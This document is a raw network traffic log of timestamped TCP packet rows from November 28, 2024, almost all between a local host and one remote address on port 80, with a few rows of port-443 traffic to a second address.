Nov 28, 2024 08:56:03.104541063 CET	49839	80	192.168.2.8	185.215.113.16
Nov 28, 2024 08:56:03.104619026 CET	80	49839	185.215.113.16	192.168.2.8
Nov 28, 2024 08:56:03.104666948 CET	49839	80	192.168.2.8	185.215.113.16
Nov 28, 2024 08:56:03.109316111 CET	80	49839	185.215.113.16	192.168.2.8
Nov 28, 2024 08:56:03.109385967 CET	49839	80	192.168.2.8	185.215.113.16
Nov 28, 2024 08:56:03.126213074 CET	443	49840	51.104.15.252	192.168.2.8
Nov 28, 2024 08:56:03.126502991 CET	49840	443	192.168.2.8	51.104.15.252
Nov 28, 2024 08:56:03.126517057 CET	443	49840	51.104.15.252	192.168.2.8
Nov 28, 2024 08:56:03.127547979 CET	443	49840	51.104.15.252	192.168.2.8
Nov 28, 2024 08:56:03.127613068 CET	49840	443	192.168.2.8	51.104.15.252
Nov 28, 2024 08:56:03.127978086 CET	49840	443	192.168.2.8	51.104.15.252
Nov 28, 2024 08:56:03.128037930 CET	443	49840	51.104.15.252	192.168.2.8
Nov 28, 2024 08:56:03.128180981 CET	49840	443	192.168.2.8	51.104.15.252
Nov 28, 2024 08:56:03.128189087 CET	443	49840	51.104.15.252	192.168.2.8
Nov 28, 2024 08:56:03.128253937 CET	49840	443	192.168.2.8	51.104.15.252
Nov 28, 2024 08:56:03.128267050 CET	443	49840	51.104.15.252	192.168.2.8
Nov 28, 2024 08:56:03.175666094 CET	49840	443	192.168.2.8	51.104.15.252
Nov 28, 2024 08:56:03.180952072 CET	80	49839	185.215.113.16	192.168.2.8
Nov 28, 2024 08:56:03.181020021 CET	49839	80	192.168.2.8	185.215.113.16
Nov 28, 2024 08:56:03.181058884 CET	80	49839	185.215.113.16	192.168.2.8
Nov 28, 2024 08:56:03.181102991 CET	49839	80	192.168.2.8	185.215.113.16
Nov 28, 2024 08:56:03.183401108 CET	80	49839	185.215.113.16	192.168.2.8
Nov 28, 2024 08:56:03.183446884 CET	49839	80	192.168.2.8	185.215.113.16
Nov 28, 2024 08:56:03.183469057 CET	80	49839	185.215.113.16	192.168.2.8
Nov 28, 2024 08:56:03.183511019 CET	49839	80	192.168.2.8	185.215.113.16
Nov 28, 2024 08:56:03.188149929 CET	80	49839	185.215.113.16	192.168.2.8
Nov 28, 2024 08:56:03.188256025 CET	49839	80	192.168.2.8	185.215.113.16
Nov 28, 2024 08:56:03.217287064 CET	80	49839	185.215.113.16	192.168.2.8
Nov 28, 2024 08:56:03.217348099 CET	49839	80	192.168.2.8	185.215.113.16
Nov 28, 2024 08:56:03.217400074 CET	80	49839	185.215.113.16	192.168.2.8
Nov 28, 2024 08:56:03.217443943 CET	49839	80	192.168.2.8	185.215.113.16
Nov 28, 2024 08:56:03.219171047 CET	80	49839	185.215.113.16	192.168.2.8
Nov 28, 2024 08:56:03.219238997 CET	80	49839	185.215.113.16	192.168.2.8
Nov 28, 2024 08:56:03.219306946 CET	49839	80	192.168.2.8	185.215.113.16
Nov 28, 2024 08:56:03.219306946 CET	49839	80	192.168.2.8	185.215.113.16
Nov 28, 2024 08:56:03.222695112 CET	80	49839	185.215.113.16	192.168.2.8
Nov 28, 2024 08:56:03.222760916 CET	49839	80	192.168.2.8	185.215.113.16
Nov 28, 2024 08:56:03.222804070 CET	80	49839	185.215.113.16	192.168.2.8
Nov 28, 2024 08:56:03.222847939 CET	49839	80	192.168.2.8	185.215.113.16
Nov 28, 2024 08:56:03.226178885 CET	80	49839	185.215.113.16	192.168.2.8
Nov 28, 2024 08:56:03.226228952 CET	49839	80	192.168.2.8	185.215.113.16
Nov 28, 2024 08:56:03.226300001 CET	80	49839	185.215.113.16	192.168.2.8
Nov 28, 2024 08:56:03.226341009 CET	49839	80	192.168.2.8	185.215.113.16
Nov 28, 2024 08:56:03.229785919 CET	80	49839	185.215.113.16	192.168.2.8
Nov 28, 2024 08:56:03.229839087 CET	49839	80	192.168.2.8	185.215.113.16
Nov 28, 2024 08:56:03.229851961 CET	80	49839	185.215.113.16	192.168.2.8
Nov 28, 2024 08:56:03.229897976 CET	49839	80	192.168.2.8	185.215.113.16
Nov 28, 2024 08:56:03.233412981 CET	80	49839	185.215.113.16	192.168.2.8
Nov 28, 2024 08:56:03.233465910 CET	49839	80	192.168.2.8	185.215.113.16
Nov 28, 2024 08:56:03.233510971 CET	80	49839	185.215.113.16	192.168.2.8
Nov 28, 2024 08:56:03.233556032 CET	49839	80	192.168.2.8	185.215.113.16
Nov 28, 2024 08:56:03.236891031 CET	80	49839	185.215.113.16	192.168.2.8
Nov 28, 2024 08:56:03.236946106 CET	49839	80	192.168.2.8	185.215.113.16
Nov 28, 2024 08:56:03.237005949 CET	80	49839	185.215.113.16	192.168.2.8
Nov 28, 2024 08:56:03.237063885 CET	49839	80	192.168.2.8	185.215.113.16
Nov 28, 2024 08:56:03.240257025 CET	80	49839	185.215.113.16	192.168.2.8
Nov 28, 2024 08:56:03.240324974 CET	49839	80	192.168.2.8	185.215.113.16
Nov 28, 2024 08:56:03.240398884 CET	80	49839	185.215.113.16	192.168.2.8
Nov 28, 2024 08:56:03.240442991 CET	49839	80	192.168.2.8	185.215.113.16
Nov 28, 2024 08:56:03.243768930 CET	80	49839	185.215.113.16	192.168.2.8
Nov 28, 2024 08:56:03.243815899 CET	49839	80	192.168.2.8	185.215.113.16
Nov 28, 2024 08:56:03.243885994 CET	80	49839	185.215.113.16	192.168.2.8
Nov 28, 2024 08:56:03.243930101 CET	49839	80	192.168.2.8	185.215.113.16
Nov 28, 2024 08:56:03.247236967 CET	80	49839	185.215.113.16	192.168.2.8
Nov 28, 2024 08:56:03.247291088 CET	49839	80	192.168.2.8	185.215.113.16
Nov 28, 2024 08:56:03.247320890 CET	80	49839	185.215.113.16	192.168.2.8
Nov 28, 2024 08:56:03.247359991 CET	49839	80	192.168.2.8	185.215.113.16
Nov 28, 2024 08:56:03.251025915 CET	80	49839	185.215.113.16	192.168.2.8
Nov 28, 2024 08:56:03.251070976 CET	80	49839	185.215.113.16	192.168.2.8
Nov 28, 2024 08:56:03.251089096 CET	49839	80	192.168.2.8	185.215.113.16
Nov 28, 2024 08:56:03.251133919 CET	49839	80	192.168.2.8	185.215.113.16
Nov 28, 2024 08:56:03.254354954 CET	80	49839	185.215.113.16	192.168.2.8
Nov 28, 2024 08:56:03.254404068 CET	49839	80	192.168.2.8	185.215.113.16
Nov 28, 2024 08:56:03.254468918 CET	80	49839	185.215.113.16	192.168.2.8
Nov 28, 2024 08:56:03.254513025 CET	49839	80	192.168.2.8	185.215.113.16
Nov 28, 2024 08:56:03.257759094 CET	80	49839	185.215.113.16	192.168.2.8
Nov 28, 2024 08:56:03.257817984 CET	80	49839	185.215.113.16	192.168.2.8
Nov 28, 2024 08:56:03.257827997 CET	49839	80	192.168.2.8	185.215.113.16
Nov 28, 2024 08:56:03.257862091 CET	49839	80	192.168.2.8	185.215.113.16
Nov 28, 2024 08:56:03.260961056 CET	80	49839	185.215.113.16	192.168.2.8
Nov 28, 2024 08:56:03.261004925 CET	49839	80	192.168.2.8	185.215.113.16
Nov 28, 2024 08:56:03.261074066 CET	80	49839	185.215.113.16	192.168.2.8
Nov 28, 2024 08:56:03.261121035 CET	49839	80	192.168.2.8	185.215.113.16
Nov 28, 2024 08:56:03.264498949 CET	80	49839	185.215.113.16	192.168.2.8
Nov 28, 2024 08:56:03.264569998 CET	49839	80	192.168.2.8	185.215.113.16
Nov 28, 2024 08:56:03.264589071 CET	80	49839	185.215.113.16	192.168.2.8
Nov 28, 2024 08:56:03.264647007 CET	49839	80	192.168.2.8	185.215.113.16
Nov 28, 2024 08:56:03.267864943 CET	80	49839	185.215.113.16	192.168.2.8
Nov 28, 2024 08:56:03.267909050 CET	49839	80	192.168.2.8	185.215.113.16
Nov 28, 2024 08:56:03.267940044 CET	80	49839	185.215.113.16	192.168.2.8
Nov 28, 2024 08:56:03.267983913 CET	49839	80	192.168.2.8	185.215.113.16
Nov 28, 2024 08:56:03.271385908 CET	80	49839	185.215.113.16	192.168.2.8
Nov 28, 2024 08:56:03.271435976 CET	49839	80	192.168.2.8	185.215.113.16
Nov 28, 2024 08:56:03.271521091 CET	80	49839	185.215.113.16	192.168.2.8
Nov 28, 2024 08:56:03.271564960 CET	49839	80	192.168.2.8	185.215.113.16
Nov 28, 2024 08:56:03.274740934 CET	80	49839	185.215.113.16	192.168.2.8
Nov 28, 2024 08:56:03.274790049 CET	49839	80	192.168.2.8	185.215.113.16
Nov 28, 2024 08:56:03.274899006 CET	80	49839	185.215.113.16	192.168.2.8
Nov 28, 2024 08:56:03.274940014 CET	49839	80	192.168.2.8	185.215.113.16
Nov 28, 2024 08:56:03.278177977 CET	80	49839	185.215.113.16	192.168.2.8
Nov 28, 2024 08:56:03.278239965 CET	49839	80	192.168.2.8	185.215.113.16
Nov 28, 2024 08:56:03.278341055 CET	80	49839	185.215.113.16	192.168.2.8
Nov 28, 2024 08:56:03.278378963 CET	49839	80	192.168.2.8	185.215.113.16
Nov 28, 2024 08:56:03.281647921 CET	80	49839	185.215.113.16	192.168.2.8
Nov 28, 2024 08:56:03.281727076 CET	49839	80	192.168.2.8	185.215.113.16
Nov 28, 2024 08:56:03.281734943 CET	80	49839	185.215.113.16	192.168.2.8
Nov 28, 2024 08:56:03.281774998 CET	49839	80	192.168.2.8	185.215.113.16
Nov 28, 2024 08:56:03.285092115 CET	80	49839	185.215.113.16	192.168.2.8
Nov 28, 2024 08:56:03.285137892 CET	49839	80	192.168.2.8	185.215.113.16
Nov 28, 2024 08:56:03.285161018 CET	80	49839	185.215.113.16	192.168.2.8
Nov 28, 2024 08:56:03.285218000 CET	49839	80	192.168.2.8	185.215.113.16
Nov 28, 2024 08:56:03.288472891 CET	80	49839	185.215.113.16	192.168.2.8
Nov 28, 2024 08:56:03.288521051 CET	49839	80	192.168.2.8	185.215.113.16
Nov 28, 2024 08:56:03.288559914 CET	80	49839	185.215.113.16	192.168.2.8
Nov 28, 2024 08:56:03.288600922 CET	49839	80	192.168.2.8	185.215.113.16
Nov 28, 2024 08:56:03.292042971 CET	80	49839	185.215.113.16	192.168.2.8
Nov 28, 2024 08:56:03.292103052 CET	49839	80	192.168.2.8	185.215.113.16
Nov 28, 2024 08:56:03.292112112 CET	80	49839	185.215.113.16	192.168.2.8
Nov 28, 2024 08:56:03.292170048 CET	49839	80	192.168.2.8	185.215.113.16
Nov 28, 2024 08:56:03.295372963 CET	80	49839	185.215.113.16	192.168.2.8
Nov 28, 2024 08:56:03.295425892 CET	49839	80	192.168.2.8	185.215.113.16
Nov 28, 2024 08:56:03.295531988 CET	80	49839	185.215.113.16	192.168.2.8
Nov 28, 2024 08:56:03.295572042 CET	49839	80	192.168.2.8	185.215.113.16
Nov 28, 2024 08:56:03.298845053 CET	80	49839	185.215.113.16	192.168.2.8
Nov 28, 2024 08:56:03.298907995 CET	49839	80	192.168.2.8	185.215.113.16
Nov 28, 2024 08:56:03.298930883 CET	80	49839	185.215.113.16	192.168.2.8
Nov 28, 2024 08:56:03.298969030 CET	49839	80	192.168.2.8	185.215.113.16
Nov 28, 2024 08:56:03.302299976 CET	80	49839	185.215.113.16	192.168.2.8
Nov 28, 2024 08:56:03.302350044 CET	49839	80	192.168.2.8	185.215.113.16
Nov 28, 2024 08:56:03.302398920 CET	80	49839	185.215.113.16	192.168.2.8
Nov 28, 2024 08:56:03.302453995 CET	49839	80	192.168.2.8	185.215.113.16
Nov 28, 2024 08:56:03.305727959 CET	80	49839	185.215.113.16	192.168.2.8
Nov 28, 2024 08:56:03.305778980 CET	49839	80	192.168.2.8	185.215.113.16
Nov 28, 2024 08:56:03.305860996 CET	80	49839	185.215.113.16	192.168.2.8
Nov 28, 2024 08:56:03.305902004 CET	49839	80	192.168.2.8	185.215.113.16
Nov 28, 2024 08:56:03.309134960 CET	80	49839	185.215.113.16	192.168.2.8
Nov 28, 2024 08:56:03.309185028 CET	49839	80	192.168.2.8	185.215.113.16
Nov 28, 2024 08:56:03.309196949 CET	80	49839	185.215.113.16	192.168.2.8
Nov 28, 2024 08:56:03.309241056 CET	49839	80	192.168.2.8	185.215.113.16
Nov 28, 2024 08:56:03.312567949 CET	80	49839	185.215.113.16	192.168.2.8
Nov 28, 2024 08:56:03.312644958 CET	80	49839	185.215.113.16	192.168.2.8
Nov 28, 2024 08:56:03.312766075 CET	49839	80	192.168.2.8	185.215.113.16
Nov 28, 2024 08:56:03.312766075 CET	49839	80	192.168.2.8	185.215.113.16
Nov 28, 2024 08:56:03.316015005 CET	80	49839	185.215.113.16	192.168.2.8
Nov 28, 2024 08:56:03.316065073 CET	49839	80	192.168.2.8	185.215.113.16
Nov 28, 2024 08:56:03.316200018 CET	80	49839	185.215.113.16	192.168.2.8
Nov 28, 2024 08:56:03.316284895 CET	49839	80	192.168.2.8	185.215.113.16
Nov 28, 2024 08:56:03.319458961 CET	80	49839	185.215.113.16	192.168.2.8
Nov 28, 2024 08:56:03.319514036 CET	49839	80	192.168.2.8	185.215.113.16
Nov 28, 2024 08:56:03.319566011 CET	80	49839	185.215.113.16	192.168.2.8
Nov 28, 2024 08:56:03.319608927 CET	49839	80	192.168.2.8	185.215.113.16
Nov 28, 2024 08:56:03.322901011 CET	80	49839	185.215.113.16	192.168.2.8
Nov 28, 2024 08:56:03.322947979 CET	49839	80	192.168.2.8	185.215.113.16
Nov 28, 2024 08:56:03.323122025 CET	80	49839	185.215.113.16	192.168.2.8
Nov 28, 2024 08:56:03.323168039 CET	49839	80	192.168.2.8	185.215.113.16
Nov 28, 2024 08:56:03.326343060 CET	80	49839	185.215.113.16	192.168.2.8
Nov 28, 2024 08:56:03.326387882 CET	49839	80	192.168.2.8	185.215.113.16
Nov 28, 2024 08:56:03.326457977 CET	80	49839	185.215.113.16	192.168.2.8
Nov 28, 2024 08:56:03.326503038 CET	49839	80	192.168.2.8	185.215.113.16
Nov 28, 2024 08:56:03.329776049 CET	80	49839	185.215.113.16	192.168.2.8
Nov 28, 2024 08:56:03.329828024 CET	49839	80	192.168.2.8	185.215.113.16
Nov 28, 2024 08:56:03.382313013 CET	80	49839	185.215.113.16	192.168.2.8
Nov 28, 2024 08:56:03.382395029 CET	49839	80	192.168.2.8	185.215.113.16
Nov 28, 2024 08:56:03.382420063 CET	80	49839	185.215.113.16	192.168.2.8
Nov 28, 2024 08:56:03.382463932 CET	49839	80	192.168.2.8	185.215.113.16
Nov 28, 2024 08:56:03.383881092 CET	80	49839	185.215.113.16	192.168.2.8
Nov 28, 2024 08:56:03.383946896 CET	49839	80	192.168.2.8	185.215.113.16
Nov 28, 2024 08:56:03.384128094 CET	80	49839	185.215.113.16	192.168.2.8
Nov 28, 2024 08:56:03.384170055 CET	49839	80	192.168.2.8	185.215.113.16
Nov 28, 2024 08:56:03.387083054 CET	80	49839	185.215.113.16	192.168.2.8
Nov 28, 2024 08:56:03.387146950 CET	49839	80	192.168.2.8	185.215.113.16
Nov 28, 2024 08:56:03.387151957 CET	80	49839	185.215.113.16	192.168.2.8
Nov 28, 2024 08:56:03.387208939 CET	49839	80	192.168.2.8	185.215.113.16
Nov 28, 2024 08:56:03.391397953 CET	80	49839	185.215.113.16	192.168.2.8
Nov 28, 2024 08:56:03.391431093 CET	80	49839	185.215.113.16	192.168.2.8
Nov 28, 2024 08:56:03.391447067 CET	49839	80	192.168.2.8	185.215.113.16
Nov 28, 2024 08:56:03.391474009 CET	49839	80	192.168.2.8	185.215.113.16
Nov 28, 2024 08:56:03.394223928 CET	80	49839	185.215.113.16	192.168.2.8
Nov 28, 2024 08:56:03.394274950 CET	49839	80	192.168.2.8	185.215.113.16
Nov 28, 2024 08:56:03.394350052 CET	80	49839	185.215.113.16	192.168.2.8
Nov 28, 2024 08:56:03.394397974 CET	49839	80	192.168.2.8	185.215.113.16
Nov 28, 2024 08:56:03.419552088 CET	80	49839	185.215.113.16	192.168.2.8
Nov 28, 2024 08:56:03.419570923 CET	80	49839	185.215.113.16	192.168.2.8
Nov 28, 2024 08:56:03.419612885 CET	49839	80	192.168.2.8	185.215.113.16
Nov 28, 2024 08:56:03.419625998 CET	49839	80	192.168.2.8	185.215.113.16
Nov 28, 2024 08:56:03.420694113 CET	80	49839	185.215.113.16	192.168.2.8
Nov 28, 2024 08:56:03.420741081 CET	49839	80	192.168.2.8	185.215.113.16
Nov 28, 2024 08:56:03.420874119 CET	80	49839	185.215.113.16	192.168.2.8
Nov 28, 2024 08:56:03.420919895 CET	49839	80	192.168.2.8	185.215.113.16
Nov 28, 2024 08:56:03.423047066 CET	80	49839	185.215.113.16	192.168.2.8
Nov 28, 2024 08:56:03.423091888 CET	80	49839	185.215.113.16	192.168.2.8
Nov 28, 2024 08:56:03.423095942 CET	49839	80	192.168.2.8	185.215.113.16
Nov 28, 2024 08:56:03.423145056 CET	49839	80	192.168.2.8	185.215.113.16
Nov 28, 2024 08:56:03.424892902 CET	80	49839	185.215.113.16	192.168.2.8
Nov 28, 2024 08:56:03.424941063 CET	49839	80	192.168.2.8	185.215.113.16
Nov 28, 2024 08:56:03.424962997 CET	80	49839	185.215.113.16	192.168.2.8
Nov 28, 2024 08:56:03.425019979 CET	49839	80	192.168.2.8	185.215.113.16
Nov 28, 2024 08:56:03.427222967 CET	80	49839	185.215.113.16	192.168.2.8
Nov 28, 2024 08:56:03.427289009 CET	49839	80	192.168.2.8	185.215.113.16
Nov 28, 2024 08:56:03.427397966 CET	80	49839	185.215.113.16	192.168.2.8
Nov 28, 2024 08:56:03.427443981 CET	49839	80	192.168.2.8	185.215.113.16
Nov 28, 2024 08:56:03.429663897 CET	80	49839	185.215.113.16	192.168.2.8
Nov 28, 2024 08:56:03.429709911 CET	49839	80	192.168.2.8	185.215.113.16
Nov 28, 2024 08:56:03.429817915 CET	80	49839	185.215.113.16	192.168.2.8
Nov 28, 2024 08:56:03.429853916 CET	49839	80	192.168.2.8	185.215.113.16
Nov 28, 2024 08:56:03.432048082 CET	80	49839	185.215.113.16	192.168.2.8
Nov 28, 2024 08:56:03.432118893 CET	49839	80	192.168.2.8	185.215.113.16
Nov 28, 2024 08:56:03.432177067 CET	80	49839	185.215.113.16	192.168.2.8
Nov 28, 2024 08:56:03.432219982 CET	49839	80	192.168.2.8	185.215.113.16
Nov 28, 2024 08:56:03.434422970 CET	80	49839	185.215.113.16	192.168.2.8
Nov 28, 2024 08:56:03.434484005 CET	49839	80	192.168.2.8	185.215.113.16
Nov 28, 2024 08:56:03.434593916 CET	80	49839	185.215.113.16	192.168.2.8
Nov 28, 2024 08:56:03.434638977 CET	49839	80	192.168.2.8	185.215.113.16
Nov 28, 2024 08:56:03.435904980 CET	80	49839	185.215.113.16	192.168.2.8
Nov 28, 2024 08:56:03.435949087 CET	49839	80	192.168.2.8	185.215.113.16
Nov 28, 2024 08:56:03.435992956 CET	80	49839	185.215.113.16	192.168.2.8
Nov 28, 2024 08:56:03.436037064 CET	49839	80	192.168.2.8	185.215.113.16
Nov 28, 2024 08:56:03.437383890 CET	80	49839	185.215.113.16	192.168.2.8
Nov 28, 2024 08:56:03.437457085 CET	49839	80	192.168.2.8	185.215.113.16
Nov 28, 2024 08:56:03.437549114 CET	80	49839	185.215.113.16	192.168.2.8
Nov 28, 2024 08:56:03.437596083 CET	49839	80	192.168.2.8	185.215.113.16
Nov 28, 2024 08:56:03.438920975 CET	80	49839	185.215.113.16	192.168.2.8
Nov 28, 2024 08:56:03.438966990 CET	49839	80	192.168.2.8	185.215.113.16
Nov 28, 2024 08:56:03.439039946 CET	80	49839	185.215.113.16	192.168.2.8
Nov 28, 2024 08:56:03.439102888 CET	49839	80	192.168.2.8	185.215.113.16
Nov 28, 2024 08:56:03.440414906 CET	80	49839	185.215.113.16	192.168.2.8
Nov 28, 2024 08:56:03.440463066 CET	49839	80	192.168.2.8	185.215.113.16
Nov 28, 2024 08:56:03.440555096 CET	80	49839	185.215.113.16	192.168.2.8
Nov 28, 2024 08:56:03.440610886 CET	49839	80	192.168.2.8	185.215.113.16
Nov 28, 2024 08:56:03.442024946 CET	80	49839	185.215.113.16	192.168.2.8
Nov 28, 2024 08:56:03.442097902 CET	49839	80	192.168.2.8	185.215.113.16
Nov 28, 2024 08:56:03.442122936 CET	80	49839	185.215.113.16	192.168.2.8
Nov 28, 2024 08:56:03.442166090 CET	49839	80	192.168.2.8	185.215.113.16
Nov 28, 2024 08:56:03.443679094 CET	80	49839	185.215.113.16	192.168.2.8
Nov 28, 2024 08:56:03.443723917 CET	80	49839	185.215.113.16	192.168.2.8
Nov 28, 2024 08:56:03.443733931 CET	49839	80	192.168.2.8	185.215.113.16
Nov 28, 2024 08:56:03.443778992 CET	49839	80	192.168.2.8	185.215.113.16
Nov 28, 2024 08:56:03.445297003 CET	80	49839	185.215.113.16	192.168.2.8
Nov 28, 2024 08:56:03.445331097 CET	80	49839	185.215.113.16	192.168.2.8
Nov 28, 2024 08:56:03.445338011 CET	49839	80	192.168.2.8	185.215.113.16
Nov 28, 2024 08:56:03.445378065 CET	49839	80	192.168.2.8	185.215.113.16
Nov 28, 2024 08:56:03.446451902 CET	80	49839	185.215.113.16	192.168.2.8
Nov 28, 2024 08:56:03.446500063 CET	49839	80	192.168.2.8	185.215.113.16
Nov 28, 2024 08:56:03.446554899 CET	80	49839	185.215.113.16	192.168.2.8
Nov 28, 2024 08:56:03.446610928 CET	49839	80	192.168.2.8	185.215.113.16
Nov 28, 2024 08:56:03.447902918 CET	80	49839	185.215.113.16	192.168.2.8
Nov 28, 2024 08:56:03.447972059 CET	49839	80	192.168.2.8	185.215.113.16
Nov 28, 2024 08:56:03.448040962 CET	80	49839	185.215.113.16	192.168.2.8
Nov 28, 2024 08:56:03.448086023 CET	49839	80	192.168.2.8	185.215.113.16
Nov 28, 2024 08:56:03.449589968 CET	80	49839	185.215.113.16	192.168.2.8
Nov 28, 2024 08:56:03.449635029 CET	80	49839	185.215.113.16	192.168.2.8
Nov 28, 2024 08:56:03.449657917 CET	49839	80	192.168.2.8	185.215.113.16
Nov 28, 2024 08:56:03.449698925 CET	49839	80	192.168.2.8	185.215.113.16
Nov 28, 2024 08:56:03.451096058 CET	80	49839	185.215.113.16	192.168.2.8
Nov 28, 2024 08:56:03.451136112 CET	49839	80	192.168.2.8	185.215.113.16
Nov 28, 2024 08:56:03.451347113 CET	80	49839	185.215.113.16	192.168.2.8
Nov 28, 2024 08:56:03.451394081 CET	49839	80	192.168.2.8	185.215.113.16
Nov 28, 2024 08:56:03.452693939 CET	80	49839	185.215.113.16	192.168.2.8
Nov 28, 2024 08:56:03.452744007 CET	80	49839	185.215.113.16	192.168.2.8
Nov 28, 2024 08:56:03.452754974 CET	49839	80	192.168.2.8	185.215.113.16
Nov 28, 2024 08:56:03.452801943 CET	49839	80	192.168.2.8	185.215.113.16
Nov 28, 2024 08:56:03.454040051 CET	80	49839	185.215.113.16	192.168.2.8
Nov 28, 2024 08:56:03.454090118 CET	49839	80	192.168.2.8	185.215.113.16
Nov 28, 2024 08:56:03.454314947 CET	80	49839	185.215.113.16	192.168.2.8
Nov 28, 2024 08:56:03.454359055 CET	49839	80	192.168.2.8	185.215.113.16
Nov 28, 2024 08:56:03.455370903 CET	80	49839	185.215.113.16	192.168.2.8
Nov 28, 2024 08:56:03.455446005 CET	49839	80	192.168.2.8	185.215.113.16
Nov 28, 2024 08:56:03.455503941 CET	80	49839	185.215.113.16	192.168.2.8
Nov 28, 2024 08:56:03.455562115 CET	49839	80	192.168.2.8	185.215.113.16
Nov 28, 2024 08:56:03.456804037 CET	80	49839	185.215.113.16	192.168.2.8
Nov 28, 2024 08:56:03.456867933 CET	49839	80	192.168.2.8	185.215.113.16
Nov 28, 2024 08:56:03.456998110 CET	80	49839	185.215.113.16	192.168.2.8
Nov 28, 2024 08:56:03.457045078 CET	49839	80	192.168.2.8	185.215.113.16
Nov 28, 2024 08:56:03.458291054 CET	80	49839	185.215.113.16	192.168.2.8
Nov 28, 2024 08:56:03.458348989 CET	49839	80	192.168.2.8	185.215.113.16
Nov 28, 2024 08:56:03.458390951 CET	80	49839	185.215.113.16	192.168.2.8
Nov 28, 2024 08:56:03.458431959 CET	49839	80	192.168.2.8	185.215.113.16
Nov 28, 2024 08:56:03.459743977 CET	80	49839	185.215.113.16	192.168.2.8
Nov 28, 2024 08:56:03.459793091 CET	49839	80	192.168.2.8	185.215.113.16
Nov 28, 2024 08:56:03.459908962 CET	80	49839	185.215.113.16	192.168.2.8
Nov 28, 2024 08:56:03.459997892 CET	49839	80	192.168.2.8	185.215.113.16
Nov 28, 2024 08:56:03.461219072 CET	80	49839	185.215.113.16	192.168.2.8
Nov 28, 2024 08:56:03.461261034 CET	49839	80	192.168.2.8	185.215.113.16
Nov 28, 2024 08:56:03.461347103 CET	80	49839	185.215.113.16	192.168.2.8
Nov 28, 2024 08:56:03.461391926 CET	49839	80	192.168.2.8	185.215.113.16
Nov 28, 2024 08:56:03.462666988 CET	80	49839	185.215.113.16	192.168.2.8
Nov 28, 2024 08:56:03.462714911 CET	49839	80	192.168.2.8	185.215.113.16
Nov 28, 2024 08:56:03.462776899 CET	80	49839	185.215.113.16	192.168.2.8
Nov 28, 2024 08:56:03.462822914 CET	49839	80	192.168.2.8	185.215.113.16
Nov 28, 2024 08:56:03.464147091 CET	80	49839	185.215.113.16	192.168.2.8
Nov 28, 2024 08:56:03.464194059 CET	49839	80	192.168.2.8	185.215.113.16
Nov 28, 2024 08:56:03.464234114 CET	80	49839	185.215.113.16	192.168.2.8
Nov 28, 2024 08:56:03.464279890 CET	49839	80	192.168.2.8	185.215.113.16
Nov 28, 2024 08:56:03.465656996 CET	80	49839	185.215.113.16	192.168.2.8
Nov 28, 2024 08:56:03.465704918 CET	49839	80	192.168.2.8	185.215.113.16
Nov 28, 2024 08:56:03.465749025 CET	80	49839	185.215.113.16	192.168.2.8
Nov 28, 2024 08:56:03.465792894 CET	49839	80	192.168.2.8	185.215.113.16
Nov 28, 2024 08:56:03.467129946 CET	80	49839	185.215.113.16	192.168.2.8
Nov 28, 2024 08:56:03.467176914 CET	49839	80	192.168.2.8	185.215.113.16
Nov 28, 2024 08:56:03.467217922 CET	80	49839	185.215.113.16	192.168.2.8
Nov 28, 2024 08:56:03.467257977 CET	49839	80	192.168.2.8	185.215.113.16
Nov 28, 2024 08:56:03.468605995 CET	80	49839	185.215.113.16	192.168.2.8
Nov 28, 2024 08:56:03.468655109 CET	49839	80	192.168.2.8	185.215.113.16
Nov 28, 2024 08:56:03.468717098 CET	80	49839	185.215.113.16	192.168.2.8
Nov 28, 2024 08:56:03.468760014 CET	49839	80	192.168.2.8	185.215.113.16
Nov 28, 2024 08:56:03.470122099 CET	80	49839	185.215.113.16	192.168.2.8
Nov 28, 2024 08:56:03.470185995 CET	49839	80	192.168.2.8	185.215.113.16
Nov 28, 2024 08:56:03.470228910 CET	80	49839	185.215.113.16	192.168.2.8
Nov 28, 2024 08:56:03.470268965 CET	49839	80	192.168.2.8	185.215.113.16
Nov 28, 2024 08:56:03.471591949 CET	80	49839	185.215.113.16	192.168.2.8
Nov 28, 2024 08:56:03.471637964 CET	49839	80	192.168.2.8	185.215.113.16
Nov 28, 2024 08:56:03.471714020 CET	80	49839	185.215.113.16	192.168.2.8
Nov 28, 2024 08:56:03.471764088 CET	49839	80	192.168.2.8	185.215.113.16
Nov 28, 2024 08:56:03.473016977 CET	80	49839	185.215.113.16	192.168.2.8
Nov 28, 2024 08:56:03.473064899 CET	49839	80	192.168.2.8	185.215.113.16
Nov 28, 2024 08:56:03.473154068 CET	80	49839	185.215.113.16	192.168.2.8
Nov 28, 2024 08:56:03.473231077 CET	49839	80	192.168.2.8	185.215.113.16
Nov 28, 2024 08:56:03.474517107 CET	80	49839	185.215.113.16	192.168.2.8
Nov 28, 2024 08:56:03.474564075 CET	49839	80	192.168.2.8	185.215.113.16
Nov 28, 2024 08:56:03.474668026 CET	80	49839	185.215.113.16	192.168.2.8
Nov 28, 2024 08:56:03.474709988 CET	49839	80	192.168.2.8	185.215.113.16
Nov 28, 2024 08:56:03.475990057 CET	80	49839	185.215.113.16	192.168.2.8
Nov 28, 2024 08:56:03.476032972 CET	49839	80	192.168.2.8	185.215.113.16
Nov 28, 2024 08:56:03.476085901 CET	80	49839	185.215.113.16	192.168.2.8
Nov 28, 2024 08:56:03.476133108 CET	49839	80	192.168.2.8	185.215.113.16
Nov 28, 2024 08:56:03.477468014 CET	80	49839	185.215.113.16	192.168.2.8
Nov 28, 2024 08:56:03.477514982 CET	49839	80	192.168.2.8	185.215.113.16
Nov 28, 2024 08:56:03.477531910 CET	80	49839	185.215.113.16	192.168.2.8
Nov 28, 2024 08:56:03.477575064 CET	49839	80	192.168.2.8	185.215.113.16
Nov 28, 2024 08:56:03.478959084 CET	80	49839	185.215.113.16	192.168.2.8
Nov 28, 2024 08:56:03.479002953 CET	49839	80	192.168.2.8	185.215.113.16
Nov 28, 2024 08:56:03.479085922 CET	80	49839	185.215.113.16	192.168.2.8
Nov 28, 2024 08:56:03.479142904 CET	49839	80	192.168.2.8	185.215.113.16
Nov 28, 2024 08:56:03.480403900 CET	80	49839	185.215.113.16	192.168.2.8
Nov 28, 2024 08:56:03.480453014 CET	49839	80	192.168.2.8	185.215.113.16
Nov 28, 2024 08:56:03.480508089 CET	80	49839	185.215.113.16	192.168.2.8
Nov 28, 2024 08:56:03.480550051 CET	49839	80	192.168.2.8	185.215.113.16
Nov 28, 2024 08:56:03.481905937 CET	80	49839	185.215.113.16	192.168.2.8
Nov 28, 2024 08:56:03.481962919 CET	49839	80	192.168.2.8	185.215.113.16
Nov 28, 2024 08:56:03.482021093 CET	80	49839	185.215.113.16	192.168.2.8
